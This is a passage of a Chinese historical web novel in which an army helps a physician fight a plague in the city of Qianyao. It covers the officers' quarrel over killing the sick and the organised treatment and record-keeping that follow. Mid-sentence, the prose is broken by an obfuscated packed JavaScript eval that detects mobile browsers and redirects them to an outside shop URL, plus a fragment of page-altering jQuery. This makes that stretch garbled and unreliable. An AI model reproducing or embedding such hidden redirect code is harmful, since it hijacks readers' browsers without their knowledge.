但石梦泉并不听,只道:“只要是我能做到的,端木姑娘请讲。” 端木槿咬了咬嘴唇,手紧紧地按着腰间的针包:“好,我要乾窑城。” 端木槿的要求非常的奇怪:她要乾窑城。 她说整个城只有北面有不足百名郑军把守,只要樾军将这些人解决,此城唾手可得,然而樾军不可打开城门,更不可擅自入城,只须帮她拿下此城就好。 石梦泉想也不想,一口答应,即派罗满带领一千名健锐营士兵,以十打一,务必在黄昏之前将城拿下。 罗满很想劝石梦泉三思——他觉得这个莫名其妙的女医生实在太过可疑,万一是郑军派来的细作,岂不糟糕?如果郑军在乾窑北面埋伏,自己这一千人马有去无回不说,连小树林里的樾军也有危险! 可是他看到玉旒云病得确实凶险,而石梦泉已经再无精力管其他的事,只有把牙一咬,想:就带一千人马去探一探!因嘱咐卢进、韩夜和慕容齐加强营地周围的戒备,随时准备应战,自己点齐人马,向乾窑火速进发。 到了前夜遇到端木槿的地方,就已经遇到郑军了。双方一碰上,立即就交锋起来。战斗并没有持续太久,几乎是眨巴眼的功夫,这十几个巡逻的士兵就被樾军全数歼灭。罗满带了人马继续前行,到了城北,又消灭了几十个郑兵,余下的一些残兵仓皇地向北奔逃,被樾军统统生擒,周围就连半个敌人也看不见了。这时罗满望了望乾窑的北城门,也和西门一样,被用木柱钉死了。 端木姑娘要我们不要进城,连城门也不能开,不知里头究竟有何古怪?他想着,就往那城门边上走,想从缝隙里一窥究竟。 “啊——”郑军俘虏嚎叫了起来,“大人千万不要开城门!你们要金银美女,小的们愿意引路到北方的乐邑县,千万不要进乾窑!” “混帐!”樾军士兵骂道,“我们几时要金银美女了?你们把城门钉起来,是何意思?” 这俘虏不及回答,忽然听到城里传来一阵哭喊之声,有人在擂着门板,哀求道:“军爷!求求你们放我们出去吧!” “这是怎么一回事?”罗满不顾几个郑兵的哭号,大步走到城门边,从门缝里一望,只见好些衣不蔽体瘦骨嶙峋的平民正用扁担、锄头等物砸着城门,企图闯到外面来。罗满看他们的样子,显然是已经在城里困了多天食物用尽,如果再关下去,只有饿死的份儿。他虽痛心不已,但是惟恐郑军狡猾,伏兵在饥民之后,所以并不轻率地命令开城门。 郑军俘虏几乎是跪地磕头了:“大人,放不得!放他们出来大家就都只有死路一条了。不信您看那边——”他们把手一指,城墙边上正升起一股浓烟来,跟前日玉、石等人所见的奇怪“炊烟”一般无二。“那就是烧死人。”一个俘虏道,“城里瘟疫蔓延,每个人都被瘟神缠身,放出来就会也缠上咱们……那就死定了!”“可不是!”另一个俘虏也道:“这两天越烧越多了!大人千万别开门!” 罗满一惊:啊,莫非就是那个经老鼠传染的凶险瘟病?他和几个离城门较近的士兵都立刻捂住口鼻退后数步:方才在营中,端木槿让所有碰过患病士兵的人都立刻用热水洗手,还要熏醋,三日之内都不能接触其他人。看来这病实在厉害无比,不知同吸一方空气是否也会传染?那么,他们在门缝里张望了一下是否已经染病?几人心中不由都慌了起来。 “说,这里怎么突然就有了瘟疫?”一个樾兵喝问俘虏,“哪儿冒出来这许多老鼠?是不是你们故意弄出老鼠来攻击我军?” 俘虏哭丧着脸:“冤枉来哉!这真是邪门了,大冬天里竟然发洪水。本来这些短毛畜生不知住在哪里,被水一淹就全跑出来了——难道瘟病和老鼠有关么?” 竟是如此!罗满心中暗惊:无论下令淹城的是刘子飞还是玉旒云,大概总没考虑到这后果吧?对于洪水,人尚可知道它的朝下游流的,可以避开它,并用它伤害敌人,但是瘟疫之蔓延,怎能受人控制? “罗副将,现在怎么办?” 城是万万不能开的,罗满想,占下一个瘟疫肆虐的城池也没有意思。就不知这瘟病是否还流行到其他地方?他问那些俘虏。 “应该没有啦。”俘虏道,“本来我们是听说二皇子在富安和你们交上了手,就赶来增援他的,在此地驻扎了一阵便遇到了洪水,跟着就流行起了瘟疫。我们将军下令将城封起来,一个也不准离开。后来听说你们从北线进攻,他就带着人马去北方支援了,留我们哥儿几个在这里守着不让瘟神跑出来……” 也许还没有蔓延开,罗满想,不过行军途中见到这许多老鼠,这里的瘟疫不流传出去,难保别的地方没有自己爆发。如此一来,岂不是形成了一道死亡屏障阻挡了樾军东进的道路?不,应该说是死亡陷阱,樾军不知不觉就走到了深处? 他想起那染病士兵的惨状,背上不觉出了一层冷汗“留几个人在这里看守着,别叫里头的人出来。”他命令,“其他人跟我回营!” 他们回到树林的营地,日已西斜。卢进等都还严阵以待,防备郑军偷袭,见他们回来,便询问乾窑情形。罗满自据实以告,又问玉旒云的情形如何。卢进回说端木槿正在给玉旒云施针,他们不便进去看望。“石将军一直在外头守着,”卢进道,“他就这么来来回回走个不停,也不说话,也不休息,从早晨到现在连水也不曾喝一口。我看玉将军一刻不好,他的心就一刻悬着。暂时也不要把乾窑的事告诉他,省得他更心烦。” 罗满点头道:“正是——” 只是话音才落,却看到石梦泉朝他们这边走了过来,几人都连忙行礼:“将军!”卢进且问:“将军,端木姑娘给玉将军扎完针了么?” 石梦泉摇摇头:“还没有。我只是看天色晚了,觉得你们也该回来了,所以就来看看——乾窑怎样?” 罗满看石梦泉眼眶深陷面容憔悴,仿佛一天之见已老了几岁似的,心中一酸,道:“将军放心,乾窑自然是拿下来了。你去守着玉将军就好,其他的事,我们自会安排。” 石梦泉又摇了摇头:“我守在帐外也帮不了她什么。”说这话的时候他微微捏紧了拳头,仿佛是恨自己什么也做不了似的,倘能让他代替玉旒云来承受一切的痛苦,他愿意付出任何代价。“我帮不了她。”他再次道,“不过,她既将军队交给我,我不能连这唯一可做的事也叫她失望吧?乾窑的情形如何?” 罗满不敢隐瞒,照实都讲了。石梦泉想起当日端木槿曾经说过,以前有一次郑国疫病流行,官府将百姓都赶进“不归谷”关起来,这一次瘟疫袭击,郑国采取隔离之法也属意料之中。这样任百姓自生自灭,固然可以牺牲一城保全一国,但未免太残忍了,他想,端木槿一心救死扶伤,难怪她想半夜翻进城去,而费尽心机让我军答应她一个条件也是要把乾窑城交给她,好让她给百姓治病……这个女子令人钦佩,玉大人的病给她治也算是找对了人吧! 罗满又将洪水淹没土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728643|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地以致老鼠肆虐的事说了。石梦泉把眉头锁得更紧:“这个不要说给玉大人听。” 罗满知道玉旒云这次倒下多少有些“心病”在其中,而心病是为何,他也猜中十之八九。如果让她知道鼠疫的根源是洪水,她痛恨郭罡和刘子飞之余当然也就给自己加上另一个沉重的包袱,身体只有更差了。他于是点头答应。 卢进道:“端木姑娘莫非想以一人之力医治全城百姓。这会不会太勉强?” 石梦泉不知,他想端木槿说过,林枢也是以一人之力闯进不归谷救助百姓。端木槿应该是离家寻林枢而来,现见不到他的人,在行动上多靠近他一分也是好的。 慕容齐道:“这疫病看来十分凶险,城里的百姓只要还能动的,有谁愿意原地等死?我怕我们一旦开城门让端木姑娘进去,里面的人会蜂拥而出。到时万一控制不住,就让疫病蔓延出去了。” 韩夜道:“依我看,根本就不用等到开城门的时候。咱们一路行来,老鼠比蚂蚁还多,恐怕别的地方早就出现疫情了。” 卢进道:“我也是有此一虑,所以……”他压低了声音,对石梦泉道:“我知道将军和玉大人都不忍心滥杀无辜,而端木姑娘又一心想要医治这些百姓。可属下以为,如果不迅速控制疫病的蔓延,死的人只会更多。我认为不能够打开乾窑城门,而且一路上但凡发现有病的村庄,需要立刻封锁;遇到病人,则要立刻关进附近的隔离村中,倘若找不到隔离村,只好就地格杀火化,免留后患。” 韩夜道:“如果每一个村庄都要封锁,岂不是要耗费我军大量兵力?非常情势,只能用非常手段。属下以为,凡是发现疫病的村庄,只好一把火烧了。” 罗满有些不同意见:“遇到有疫情的村庄就烧,那岂不跟屠城差不多?再说还没有让端木姑娘是试试。她敢一个人翻城墙进去,应该是有把握,否则也不会把自己送到瘟神的手中。” 韩夜道:“端木姑娘说的头头是道,也许的确是个好医生。可是,她毕竟只有一个人,怎么同时治那么多病患?老百姓又不像是我们的士兵,叫他们洗手就立刻洗手,叫他们吃药就立刻吃药,叫他们乖乖地隔离他门就真的不乱跑。这中间只要出了什么岔子,我军将士也会感染,后果不堪设想。” 几人便争论了起来,都想听听石梦泉是何意见。却见石梦泉转头呆呆地望着玉旒云的军帐,早就神游到那边去了。大家不由都叹了口气:他一个人的精神哪儿能顾得上这么多事?这当儿,别再给他添乱了。 众人相互使了个眼色,便欲悄悄离开上别处商量。偏此时,见一个士兵慌慌张张地跑了过来,嚷嚷道:“不好了!不好了!”罗满识得他的军医的手下,忙把他拉到一边,叫他不要惊扰了石梦泉和帐内的玉旒云,才问:“什么不好了?” 那士兵道:“又有好几个昨天出去侦察的士兵发起烧来。我看他们脖子和腋下也都生出了硬块,赶紧就把他们转移到别的营区去了。” 罗满等人听了都大惊:“莫非他们也被老鼠咬了么?” 士兵摇头,并不知道。 罗满道:“快照端木姑娘早上说的方子给他们煎药,其他的人都要服松叶。传令下去,全军从现在起要搜捕营地中的老鼠,只要看到,就立刻斩死,每隔半个时辰集中烧一次死老鼠,叫大家千万小心不要被老鼠咬着。” 那士兵得令而去。韩夜便道:“你看,这瘟疫简直比妖魔还厉害,再拖下去恐怕全军都……” 罗满举起一只手示意他别说出不吉利的话:“既然已经如此,要紧的是保住全军将士的性命,乾窑和其他的地方暂时都顾不上了。我们不能进攻,也就不必要讨论怎么对待那些地方的老百姓,先救了自己再说。” 余人觉得他说的有理,当下就由卢进负责督促熏醋和采集松叶,韩夜负责组织灭鼠,而慕容齐负责营地防务。 过了大约一个时辰,营地附近消灭了老鼠近千只,全军将士也都按照端木槿所说用酒送服了松叶。这时天已黑了,点了火把来,罗满看到端木槿从玉旒云的军帐里走了出来,满脸倦容。 石梦泉立刻就迎了上去:“端木姑娘,怎样?” 端木槿冷冷看了他一眼:“怎么?你是怀疑我的医术,还是怕我根本就不想治她?你放心,举头三尺有神明,我说过的话一定做到。”她打起帐帘来,便见玉旒云从里面缓步走出,面色依然苍白,神情也很疲倦,但是精神尚好,眉头也展开了。 石梦泉连忙上前相扶:“大人,你怎么……出来了?” 玉旒云微微笑了笑:“我好了,自然就出来告诉你一声,也告诉大家一声。” “果真?”石梦泉简直不敢相信自己所见所听,看玉旒云额上满是细小的汗珠,猜方才的治疗一定痛苦非常,心疼不已,几乎想用袖子替她去擦,然而又不好当着端木槿的面做出此等逾礼之事,因而只是说道:“大人还是别出来吹风了,着了凉岂不麻烦?” 玉旒云不待回答,端木槿已道:“你放心,我敢叫她出来,就证明这对她有益无害。她在里面闷了一整天,也该呼吸些新鲜空气。你可陪她在此坐上小半个时辰,待我煎好了药,自会让她去休息,这样明天才有力气继续。” “继续?”石梦泉道,“怎么,还没治好么?” 端木槿白了他一眼:“怎么?你以为大夫是神仙么?她这个伤拖了四个月,我要是一天就能治好,岂不成了变戏法?” 可不是!石梦泉也觉得自己先前问的愚蠢,忙赔笑:“端木姑娘辛苦了。” 端木槿并不领情:“我不连续施针,除了考虑到病人的体力之外,还有一个原因——我已经履行了我的诺言,那么你呢?乾窑城怎样了?” “自然是已经拿下了,”罗满走了过来,“按照端木姑娘的吩咐,我们并没有打开城门。现在我派了人在城外守着。” 端木槿露出惊喜之色:“果真?立刻带我过去!” “等等——”罗满拦住她,“端木姑娘当初和玉大人做交易,讲好我军以乾窑城换取全军将士的平安和玉大人的健康。方才你说履行诺言,我已将乾窑城拿下,而我军按照你所说又熏醋又服松叶,却又有好几个士兵染上了瘟疫,端木姑娘作何解释?” 端木槿道瞥了他一眼:“我是大夫,和你们这些武夫不同。你们说取一个人的性命就一定取了那个人的性命,而我说要救一个人的性命,老天爷可不一定答应。我先随你去看看病人就是!” 她以为罗满是存心和她过不去,其实罗满是受了石梦泉的嘱托,不让玉旒云知道乾窑鼠疫系洪水所致。他担心和端木槿说起详情来,难免漏嘴,所以急着要把这女医生带到一边而已。 端木槿一路上都是气哼哼的没个好脸色,然而一走到士兵的病床跟前面色立刻就缓和了下来,细心地检查他们身上的肿块,边按就边问“疼不疼”,又给他们一一把了脉,将药方交代给负责照看的士兵。最后她才走到第一个发病的士兵身边——此人依旧昏迷不醒,浑身的肿块又红又大,相互挤压着,巨痛使得他抽搐不已。端木槿皱着眉头想了想,自语道:“须找些能拔除毒气的来外敷……”片刻,命道:“用木芙蓉花、凤仙花、红花、马齿苋来槌烂了,半个时辰换一次药……” 看护的士兵直乍舌:“姑娘,我们是行军打仗的,不是开中药铺的,更不是种花的,哪儿来这么多花呀?” 端木槿一想:也是!便又思索了片刻,道:“那么就用雄黄和石灰吧。” 士兵嘀嘀咕咕:“这也叫药么!”但只好照办。 端木槿轻声安慰了病人几句,和罗满一起退到了外面。“我听说你叫人灭鼠,这很好。”她道,“不过,我需要告诉你一件事——方才那几个新的病人身上并没有被老鼠咬过的痕迹。我所能找到的外伤看起来像是跳蚤臭虫叮咬所留。这些虫豸寄生在老鼠身上,也许它们也能传播疫病吧。” “姑娘的意思是……”罗满担忧地,“现在就算是大力灭鼠,也不一定能阻止瘟疫蔓延?” 端木槿点头:“这些虫豸四处游走,哪里能都消灭?且它们体形甚小,我恐怕防不胜防。” “那姑娘有何良策?”罗满问。 “我看从现在起每个军帐都要熏醋。”端木槿道,“大家的手巾和贴身的衣服最好立刻用开水煮一下。松叶的药力也许不足以抵抗瘟疫,不过,我暂时也没想出更好的方子来,大家还是照旧服用松叶吧。” 罗满点头答应,暗想这个姑娘虽是楚人,但对待病人却不分敌我,一视同仁,如此仁慈之心,世所罕见。她当真打算只身前往乾窑医治百姓?这未免太危险了吧!于是道:“端木姑娘现在是要到乾窑去么?” 端木槿道:“正是。”瞥了他一眼,又道:“我想你们和郑军交过手,应该也知道城里是怎么一回事了吧?如果我不去,城中的百姓就只有等死的份。” 罗满道:“但是姑娘只有一个人,一双手,打算怎样帮助全城的病人?万一他们不听姑娘的,都要跑出城来,岂不……” “怎么?”端木槿轻蔑地,“你是担心我让城里的百姓跑出来,就会传染你们的军队?你放心好了。我是大夫,我比你更清楚疫病传染的后果。我也不会打开城门,我会向那天一样,从城墙翻进去。不把全城的百姓治好,我决不出城。” “啊……”罗满一惊:这岂不是以身犯险?就算她的医术高明,乾窑的药材也有限,谁知道现在有多少人染了病,需要救治呢? 端木槿却误会了他这一惊的意思,冷笑道:“怎么,你担心我离开了之后没人医治玉旒云她会死掉么?她现在暂时是死不了的,我明日帮她清除淤血,剩下的就是慢慢调养。我可开个方子,然后就看她自己是不是老老实实养病了。” “我不是这个意思。”罗满解释,“我……” 还没说完,韩夜走了过来,道:“咦,端木姑娘已经治好玉将军了么,怎么到这里来?” 端木槿对樾军军官全无好感,非关救人,多说一句她都嫌烦,因道:“明天就好,这里的士兵只要按照我方才说的来办,应该也能控制疫病蔓延。你嫌我在你军营里走来走去的碍眼,我明天就会离开去乾窑!” “你不能去乾窑!”韩夜看了看罗满,“罗副将,你没有同她说么?你看,才这么短的时间就又有几个士兵病倒,这瘟疫之可怕,非我等所能想象。以她一个人的力量根本治不好一个城的人,只会送了自己的性命。” “我送的是我自己的性命,与你何干?”端木槿怒道,“好哇,你们现在是想出尔反尔了么?我早该料到,樾军中没一个好人!” 见他二人争吵了起来,罗满生怕引起玉、石二人的注意,连忙叫他们稍安勿躁,又两头劝说:“韩督尉,端木姑娘不会打开乾窑的城门,所以没有一个染病的人会走出来传染他人——端木姑娘,这疫病能通过老鼠、虫豸传染,难保饮水、呼吸不会致病,你只身前往乾窑,的确有欠考虑……” 端木槿未想到他竟然那顾念自己的安危,愣了一愣。 韩夜道:“现在还提什么开不开城门——她能翻得进城去,就不怕有人会翻出来么?所有应该按照我开头说的,一旦发现疫情,就格杀勿论。不管是老鼠还是人,尸体都要烧掉,这样才能永绝后患!” 听他如此言论,端木槿变了脸色:“你……你怎么能想出这等毒计?” 韩夜道:“我如何狠毒?此时此地当然是以大局为重。当断不断,反受其乱。等你发现你力不从心,控制不了疫情时再下决心,早就来不及了!” 端木槿气得浑身直打颤:“好……你既这么说,现在你们军队中发现疫情了,是不是就把这营地围起来,全部烧死了干净?” 韩夜一愕,没接上话来,更听到旁边冷冷的一声:“你们在吵什么?什么烧死了干净?”原来玉旒云被石梦泉扶着来到了此地。 63. 第 63 章 玉旒云和石梦泉本来只是坐在帐外的石头上休息,但她挂念生病的士兵,一定要去探望。石梦泉力劝无效,只有答应扶着她远远的到军帐外张一眼,未想就遇到了端木槿和韩夜的争执。韩夜那“格杀勿论,统统烧光”的论调她显然是听到了,气得头一阵发晕,石梦泉想要扶她离了这“是非之地”,她却怎么也不答应,甚至甩开了石梦泉的搀扶,走到了韩夜的跟前,道:“你想出这杀光烧光的对策,怎么不来跟我禀报一声?” 韩夜看了看她,又看了看石梦泉,不知如何是好。 玉旒云道:“乾窑是不是也发生了瘟疫?别以为我身子病了,头脑也糊涂。我说大事由石将军拿主意,却没有说你们可以什么都瞒着我——到底昨天晚上侦察到今天拿下乾窑城其间发生了什么事,你们快给我原原本本说一遍!” 听她喝问,谁还敢再隐瞒?罗满只有上来把经过说了一回,只将洪水引发鼠灾的事略去了。“将军不必忧虑,”他道,“端木姑娘医术高超,我们已经按照她的指示将病患隔离,并给全军将士服用预防瘟疫之药。此外,我们也会加强灭鼠,确保营地清洁。相信瘟疫不会在我军中蔓延开。” 玉旒云点点头:“你们处理的很好。那么乾窑呢?如今城门依旧封闭,老百姓缺医少药,你们打算如何?” 罗满想了想:“我们还在商量。” 端木槿道:“商量?你们现在不是想阻止我去乾窑么?不是想把这里一把火烧了么?你们……” “是谁说的?”玉旒云厉声打断,“就算是有人说了,我并没有下命令。没我的命令,谁敢擅作主张?我看谁敢——”经过了水淹靖杨一事,她对下属隐瞒情况、自说自话的行为更加深恶痛绝。她早已暗暗发誓,决不给郭罡和刘子飞好果子吃。 端木槿没想到她重病在身依然有如此的威慑力,裹在白色披风中虚弱的身体好像一支锋利的冰凌,就算下一刻便会断裂,此时也要把违背她意志的人扎死。众人全都噤若寒蝉。 半晌,韩夜才大着胆子道:“将军,我们并不想置乾窑百姓的生死于不顾,可是我们也不能因小失大。”因将自己先前的论据一一列出。“现在这里到处都是老鼠,我们就算每人多长出几只手来,也不可能都消灭,但无论如何,灭一只少一只。”他道,“但治病的事,我们就帮不上忙了——拖得越久,病的人越多,那我们灭鼠的成效和端木姑娘治病的成效就化为乌有。所以我觉得,惟有尽可能迅速地消灭一切病源,才是战胜瘟疫的关键。” 石梦泉并不知道怎样才是最好的控制疫情的方法。他想,以玉旒云果断且又顾全大局的个性应该会赞同韩夜的意见——的确,韩夜分析的没有错。自己虽然以为消灭包括人在内的病源太过残忍,但拖下去只会害了大家,尤其玉旒云现在身体虚弱,万一感染,后果不堪设想。他望了玉旒云一眼,见她眉头深缩,忽的心中一动:啊,她知道我不忍,会不会为了顾及我的感受就放弃眼下最便捷有效的措施呢?两害相权取其轻者,要她下令杀或者不杀都是使她为难,我怎能在此时还加重她的负担?这个恶人不如由我来做。他想着,便道:“韩督尉说的……” “你能消灭得了么?”端木槿打断了石梦泉的话,冷冷地看着韩夜,“冬季突发洪水将田鼠、老鼠的洞穴淹没。它们跑得到处都是,感染的人也越来越多。你要消灭,恐怕把全天下的人都杀光了,也不能杀掉老鼠的一半。而且你这根本就是治标不治本。只有尽快给病人诊治,摸索出最有效的治疗方法,才能真正控制疫情——就算来再多是老鼠也不怕。” 她以为只是陈述事实,却全然不知石梦泉等人已经心底冰凉。“大人——”石梦泉扶着玉旒云,“这是谁也料不到的事……这……” 玉旒云推开他的手:“你就是要瞒着我这个么?料不到的事我们也要承担吧。” 端木槿不知内情,完全莫名其妙:“玉旒云,你——” 玉旒云看了她一眼,眼神极具威严,接着转向石梦泉、罗满和韩夜道:“你们听着,什么消灭病源的话,谁也不许再提。大军立刻准备拔营前进,明天要到达乾窑城。我们要打开城西门,步军营负责守门,凡染病者不得外出。健锐营需要维持城内秩序,所有人须得按照端木姑娘的吩咐,有病的要隔离,无病的要熏醋并服药。神弩营负责继续灭鼠,此外,端木姑娘需要的药材量大,我希望能够尽量就地取材,你们要帮她采药。” 听到这样的军令,众人无不愕然地看着她。而她却平静地继续说下去:“不管在乾窑花多少时间、多少人力、物力,一定要把瘟疫控制住。若不能控制住,我军决不离开——而那之后,无论在哪里遇到疫情,也是同样的处理。你们听明白了没有?” “明白了!”罗满立刻回答,韩夜则是稍稍犹豫了一下才领命。而石梦泉只是百感交集地望着玉旒云,半晌,才道:“大人,这事请交我全权负责,你可安心修养,属下决不会令你失望的。” 玉旒云望了他一眼,微微一笑,道:“好。”然后又转向端木槿:“以后你有什么事只管告诉石将军,无论是需要我军配合什么事或者需要我们找什么东西,他都会尽力给你解决。不过我必须告诉你,你说你做大夫的不是神仙,我们做军人的也不是神仙,不一定可以满足你所有的要求,你可明白么?” 端木槿根本就没有料到玉旒云会下这样的命令。在她的印象中,这是一个率领大军使楚国数万士卒殒命沙场的恶魔,楚国武林中人对其恨之入骨,绞尽脑汁要杀之而后快;而且,此人狡猾万分,竟然能在那么多对手面前从容不迫,安然逃脱,留给楚国武林奇耻大辱。这样一个人将自己的全部兵力投入对敌国瘟疫的救治,自己不会是听错了吧?她将信将疑地望着玉旒云,而后者淡定安静,并不觉得自己的命令有多么的奇怪,而且白衣的身影这样坚定地立着,仿佛是说自己言出必行,便是老天她也要斗一斗。 “我明白。”端木槿深深吸了一口气,“我现在去煎药,请大人服了药就去休息。我明天给大人扎完针大军再拔营不迟。” 樾军健锐、步军、神弩三营因为玉旒云治疗的关系,到第三日清晨才到达乾窑。依照命令,城西门被打开,步军营迅速地封锁出路,而健锐营则立刻开入城中阻止百姓蜂拥出城,石梦泉先亲自向百姓说明了樾军的计划,接着,健锐营士兵又将军令带到了城市的大街小巷。已遭瘟疫,又被敌军占领,乾窑中着实恐慌了一阵,几乎没人听到所传的军令究竟是何。直到众百姓见樾军训练有素,行动有序,没有对一个百姓动武,大家这才怀着惴惴不安的心情将士兵传来的命令再听了一回,接着,半信半疑地等待着樾军对自己的处置。 骚乱一停了下来,士兵行动就方便了。卢进按照往日部队攻城后实行全面占领时的方法把城分成东西南北四个大区,每一区又分为若干个小区派士兵巡逻把守,另有一支一百人的队伍专门负责向各个区传递命令。 第一道命令就是要全城的郎中及其徒弟、跟班药童,药材铺掌柜及其伙计、学徒,统统到城中原乾窑县衙集合。端木槿在那里再次向这些人说明了樾军和她的意图,要求所有懂得医理药性的人帮她一起救治病患。接着,卢进命令药材铺立刻上缴全部库存药材,各家所缴数量、品种将登记造册,以便日后按价补偿。 第二道命令是让城东区的人全部撤离,暂时分散到其他三个区中,立此区为病区。神弩营在此区中实行一次熏醋,并投放鼠药。次日搜集并焚烧一次死鼠。第三日开始协助健锐营将分散在其他三个区中的病人转移到此区中,端木槿和各位郎中随同队伍一个区一个区地排查,如发现疫病轻微症状的,也立刻转移到病区。 第三道命令向居住在其他三个区的百姓传授了熏醋和用松叶预防瘟疫的办法,健锐营、神弩营士兵监督并协助各区百姓消毒灭鼠。 三道命令全部执行结束时,已经过去了十天,城中的秩序相比占领当初又有所改善,虽然还是有不少病人被瘟疫夺去生命,也有不少人又被送进病区,但是百姓已不像开始那样恐慌,开始在各自的居住范围内散步串门,买卖交易。再过了十天,因为军民不懈的灭鼠、灭虫、熏醋,新发病的人就大大减少。端木槿和众郎中在松叶方外又加了用螺靥菜、龙胆草、白茅根、金银花、土茯苓、淡竹叶、坡菊、白莲叶、马齿苋等所熬煮的药水,每日在县衙煮好后,由士兵抬到各区分发,百姓喝了这种药之后,便不再有新发病的人了。众医生大为振奋,开始全力救治病区内的百姓。 这时病区内的病患有千余人,有些只是发热咳嗽,有些则和最先发病的那个士兵一样身上长出肿块,还有一些神昏、谵语、舌起黄黑、二便闭涩,最可怕的是有一些皮肤广泛出血、瘀斑、紫绀、坏死,又呕吐并便血、尿血——这一类病人死后尸体呈紫黑色,惨不忍睹。起初连负责搬运尸体的士兵都不敢动手,端木槿一声不响用布将尸体一裹就朝外面拖。正好被门口经过的罗满看到了,便前来帮忙。士兵们见副将都动了手,不好站着,也才纷纷行动起来。后来他们发现用布包裹着尸体并不会使自己受到感染,胆子也就大了,病区内一旦有人死亡,他们立刻就会把尸体拖去烧毁,以防影响其他人的病情。 大家初时觉得端木槿寡言少语苛刻挑剔,相处了一段时间都对她渐渐钦佩起来,病患、郎中、士兵,都会跟她招呼问好,看到她有需要,不必她开口,大家也会主动地去帮助。而端木槿对待樾军士兵的态度也不像开始那样冷硬,时不时露出笑脸。 这一日,一个健锐营的士兵看到端木槿正拖动一具尸体,便跑上前去,道:“端木姑娘,这些事让我们来做就行了。” 但端木槿却笑了笑道:“不,这具尸体我另有他用,你先去忙别的吧。” 士兵先时并没有在意,可后来一想:尸体能有什么别的用场?心里不觉一阵发毛,壮着胆子溜到端木槿平日研究药方的那间小屋门口一张望,这可差点儿没把他吓得魂飞魄散——只见那紫黑色的尸体平放在一张台子上,下面的裹尸布染满了污血,旁边端木槿眉头紧锁,正专著地用小刀给尸体开膛破肚。这士兵当时就吐了出来,调头狂奔,和经过路口的罗满撞了个满怀。 “你这猴崽子,撞鬼了么?” “不是撞鬼。”士兵道,“端木姑娘……端木姑娘……” 莫非是端木槿出了事?罗满不待他说完,三步并作两步就跑到了端木槿的房跟前。也顾不上敲门,直接推门而入,立时也就呆住了:“端木姑娘,你这是……” 端木槿转头看了看他:“怎么,你一个大男人被吓成这样?” 罗满入伍多年,出生入死,不说是全军最勇猛,但几时被人说过自己胆小?如今还出自一个姑娘之口,他可不能认,大了胆子上前道:“不是被吓……只是不知姑娘切开尸体做什么?” 端木槿手一摆:“不要就这么走过来——那边架子上有手巾,把你的口鼻都捂住。旁边盒子里有雄黄麝毒丹,你含一粒在口中。” 罗满知道医理上她的行家,不敢有违,照着做了才走到台边。这时端木槿已经放下了刀,叹气道:“疫症这样厉害,到这地步要怎么治?” 罗满不解何意,忍着恶心朝那尸体望了一眼,只见心肝脾胃都溃烂出血,活像老鼠跑到肚子里乱咬了一番。他不禁惊道:“我还以为只是身上长肿块,不料内脏竟被毁坏成这副模样!” 端木槿道:“何止,连骨髓也发炎出血了。病在骨髓,神仙也难救。” 罗满听她这样的语气,担心道:“姑娘的意思,这疫病是不治之症?” 端木槿摇摇头:“大部分人只是发热,身上长出肿块,肿块会涨大,流脓,并不是每一个人都发展到这地步。” 罗满道:“那么会不会是有些人天生体弱,所以经不住疫病的消耗?” 端木槿又摇摇头:“我也这样想过。可是,这些死后尸体发黑的人既有老弱妇孺,也有身强力壮的年轻男子。我想,会不会是他们用过的药有所不同呢?” 罗满道:“怎么,你不是组织大夫们会诊么?应该所用的药都是你们一同商议出来的,还会有不同?” 端木槿道:“会诊归会诊,但是我们得对症下药。每个大夫都有各自负责的区域,在主方的基础上自然会根据他所见病患症状的不同有所增减。而不同的大夫对待相同的症状又会开出不同的药方,所以两个人就算症状相同,如果身处不同大夫负责的区域,吃的药就有可能不同,病情的发展也就有可能不同了。再说,就算所有的大夫只用主方,不加不减,许多病人在来这里之前就已经吃过药,那些药究竟有何疗效,我们也不得而知啊!” 原来如此复杂!罗满对医药一窍不通,但是他在军中这么久对于管理军队十分有经验,所以当时石梦泉离开瑞津时把一切都交给他,就是晓得他对任何状况都能有所掌握,有所交代。他想了想,就道:“端木姑娘,我有一个主意不知能用不能——” 他建议将其他三区健锐营士兵中凡是会写字的都抽调上来,分派给各个郎中,每日当郎中巡诊的时候,这些士兵就跟后记录——在每个病患的床头都挂一个小册子,上面要写明每次巡诊时的症状和大夫所开的药,同时每个大夫的辖区还要准备一本总册,将每个病患小册子上的内容誊抄上去,每三天送到端木槿处汇总一次,如此,什么症状用了什么药,效果又如何,就一目了然了。 “这可真是好办法!”端木槿赞道,“不过这么多病人,得多少士兵才管得来?而人太多了,就不怕手忙脚乱,反而坏事?” 罗满道:“这个你放心。只要你觉得可行,抽调士兵和记录的事都包在我身上,你只需多花点功夫看那一千多条记录就行。” 端木槿笑道:“那好。不过,麻烦罗副将先帮我把这具尸体抬出去吧!” 罗满果然就禀报了石梦泉,得其首肯后,开始从健锐营抽调识字的士兵。不想,诺大的一营中只有百来人。于是他又把搜索范围扩大到步军、神弩二营,最终集合了五百多人,几乎达到了每两个病患就有一个士兵负责记录。 玉旒云的部队以服从指挥、纪律严明、行动迅速而著称。这批士兵抽调上来之后,立刻就进行了分组,介绍他们给每个区域负责的郎中,并交代了任务。而同时,城中买文房四宝的店铺和印所的纸张也被征调——自然和先前征调药材一样记录在案,将来会补偿。只不过用了两天的时间,病床前的册子,区域的总册,一切的记录工作就开始按照罗满对端木槿所承诺的运做了起来。又过了三天,端木槿就得到了第一批记录的汇总。 这天夜里,她和诸位郎中挑灯夜战,每人分读一部分,希冀找出阻止疫毒向内脏蔓延的方法。不过可惜,一直到了黎明时分,还是一无所获——病人皮肤开始出现瘀斑、紫绀后不到一天就会死去,任何药都没有效果——就有细微的作用看不出来。大家未免都有些丧气,实在困倦难当,白天还要继续巡诊,于是就纷纷告辞回去休息。只端木槿还不甘心,看看天就快大亮了,索性不睡,把其他郎中分看的记录统统拿来准备重读一遍,非要找出点眉目不可。 